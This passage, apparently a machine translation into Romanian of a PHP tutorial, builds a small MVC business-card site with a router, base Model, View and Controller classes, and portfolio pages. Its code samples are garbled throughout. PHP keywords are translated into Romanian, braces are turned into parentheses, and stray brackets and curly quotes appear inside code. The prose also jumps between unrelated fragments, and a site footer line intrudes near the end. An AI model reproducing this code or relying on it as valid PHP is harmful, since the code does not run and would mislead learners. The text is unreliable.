    Apoi, fișierul model (modelul poate lipsi) și fișierul controler, dacă există, sunt conectate și, în final, este creată o instanță a controlerului și acțiunea este apelată, din nou, dacă a fost descrisă în clasa controlerului.

    Astfel, atunci când mergi la, de exemplu, adresa:
    exemplu.com/portfolio
    sau
    exemplu.com/portfolio/index
    Routerul va efectua următoarele acțiuni:

  • va include fișierul model_portfolio.php din folderul modele, care conține clasa Model_Portfolio;
  • va include fișierul controller_portfolio.php din folderul controllers, care conține clasa Controller_Portfolio;
  • va crea o instanță a clasei Controller_Portfolio și va apela acțiunea implicită, action_index, descrisă în aceasta.
  • Dacă utilizatorul încearcă să acceseze adresa unui controler inexistent, de exemplu:
    exemplu.com/ufo
    apoi va fi redirecționat către pagina „404”:
    exemplu.com/404
    Același lucru se va întâmpla dacă utilizatorul accesează o acțiune care nu este descrisă în controler.2.2. Să revenim la implementarea MVC. Să mergem la folderul de bază și să adăugăm încă trei fișiere în fișierul route.php: model.php, view.php și controller.php


    Permiteți-mi să vă reamintesc că vor conține clase de bază, pe care acum vom începe să le scriem.

    Conținutul fișierului model.php
    Model de clasă (funcția publică get_data ( ) ( ) )
    Clasa de model conține o singură metodă de preluare a datelor goală, care va fi înlocuită în clasele descendente. Când creăm clase descendente, totul va deveni mai clar.

    Conținutul fișierului view.php
    Vizualizare clasă ( //public $template_view; // aici puteți specifica vizualizarea generală implicită. function generate ($content_view , $template_view , $data = null) ( /* if(is_array($data)) ( // convert array elemente în variabile extrage($date); ) */ include „application/views/” .$template_view ; ) )
    Nu este greu de ghicit că metoda Genera menită să formeze o vedere. Ii sunt trecuți următorii parametri:

  • $content_file - vizualizări care afișează conținutul paginii;
  • $template_file — șablon comun tuturor paginilor;
  • $data este o matrice care conține elemente de conținut ale paginii. De obicei completat în model.
  • Funcția include conectează dinamic un șablon general (vizualizare) în care vizualizarea va fi încorporată
    pentru a afișa conținutul unei anumite pagini.

    În cazul nostru, șablonul general va conține antet, meniu, bară laterală și subsol, iar conținutul paginii va fi conținut într-un formular separat. Din nou, acest lucru este făcut pentru simplitate.

    Conținutul fișierului controller.php
    Controller de clasă ( public $model ; public $view ; funcția __construct () ( $this ->view = new View(); ) ) )
    Metodă action_index- aceasta este acțiunea numită implicit; o vom suprascrie atunci când implementăm clasele descendente.

    2.3. Implementarea claselor descendente Model și Controller, crearea View's Acum începe distracția! Site-ul nostru de cărți de vizită va fi format din următoarele pagini:
  • Acasă
  • Servicii
  • Portofoliu
  • Contacte
  • Și, de asemenea, - pagina „404”.
  • Fiecare pagină are propriul său controler din folderul controlere și o vizualizare din folderul vizualizări. Unele pagini pot folosi un model sau modele din folderul modele.


    În figura anterioară, fișierul template_view.php este evidențiat separat - acesta este un șablon care conține un marcaj comun tuturor paginilor. În cel mai simplu caz, ar putea arăta astfel:
    Acasă
    Pentru a oferi site-ului un aspect prezentabil, creăm un șablon CSS și îl integrăm în site-ul nostru prin modificarea structurii marcajului HTML și conectarea fișierelor CSS și JavaScript:

    La sfârșitul articolului, în secțiunea „Rezultat”, există un link către un depozit GitHub cu un proiect în care s-au făcut pași pentru integrarea unui șablon simplu.

    2.3.1. Crearea paginii principale Să începem cu controlerul controller_main.php , aici este codul acestuia:
    clasa Controller_Main extinde Controller (funcția action_index () ( $this ->view->generate("main_view.php" , "template_view.php" ); ) )
    In metoda Genera sunt transmise o instanță a clasei View, numele fișierelor șablonului general și vizualizarea cu conținutul paginii.
    Pe lângă acțiunea de index, controlerul poate conține, desigur, și alte acțiuni.

    Am examinat mai devreme fișierul de vizualizare generală. Luați în considerare fișierul de conținut main_view.php:
    Bine ati venit! OLOLOSHA TEAM este o echipă de specialiști de primă clasă în domeniul dezvoltării site-urilor web cu mulți ani de experiență în colecția de măști mexicane, statui din bronz și piatră din India și Ceylon, basoreliefuri și sculpturi create de maeștrii Africii Ecuatoriale de cinci sau șase secole. în urmă...
    Acesta conține un marcaj simplu, fără apeluri PHP.
    Pentru a afișa pagina principală, puteți utiliza una dintre următoarele adrese:

    • metode ale bibliotecilor care implementează abstractizarea datelor. De exemplu, metode ale bibliotecii PEAR MDB2;
    • metode ORM;
    • metode de lucru cu NoSQL;
    • si etc.
    • Pentru simplitate, nu vom folosi aici interogări SQL sau instrucțiuni ORM. În schimb, vom emula date reale și vom returna imediat o serie de rezultate.
      Plasați fișierul model model_portfolio.php în folderul modele. Iată conținutul acestuia:
      clasa Model_Portfolio extinde Model ( funcția publică get_data () ( return array (matrice ("Anul" => "2012" , "Site" => "http://DunkelBeer.ru" , "Descriere" => "Site-ul promoțional al bere neagră Dunkel de la producătorul german Löwenbraü produsă în Rusia de compania producătoare de bere „SUN InBev.” ), matrice („Anul” => „2012” , „Site” => „http://ZopoMobile.ru" , „Descriere " => "Catalogul în limba rusă de telefoane chinezești de la Zopo bazat pe sistemul de operare Android și accesorii pentru ele."), // todo ) ))

      Clasa model controller este conținută în fișierul controller_portfolio.php, aici este codul său:
      clasa Controller_Portfolio extinde Controller ( function __construct () ( $this ->model = new Model_Portfolio(); $this ->view = new View(); ) function action_index () ( $data = $this ->model->get_data(); ); $this ->view->generate("portfolio_view.php" , "template_view.php" , $data ); ) )
      La o variabilă date se scrie matricea returnată de metodă Obțineți date la care ne-am uitat mai devreme.
      Această variabilă este apoi transmisă ca parametru de metodă Genera, care mai conține: numele fișierului cu șablonul general și numele fișierului care conține vizualizarea cu conținutul paginii.

      Vizualizarea care conține conținutul paginii se află în fișierul portfolio_view.php.
      Portofoliu

      Toate proiectele din tabelul următor sunt fictive, așa că nici măcar nu încercați să urmați linkurile furnizate.

      2024 | Calculatoare pentru toată lumea - Configurare, instalare, recuperare


      AnProiectDescriere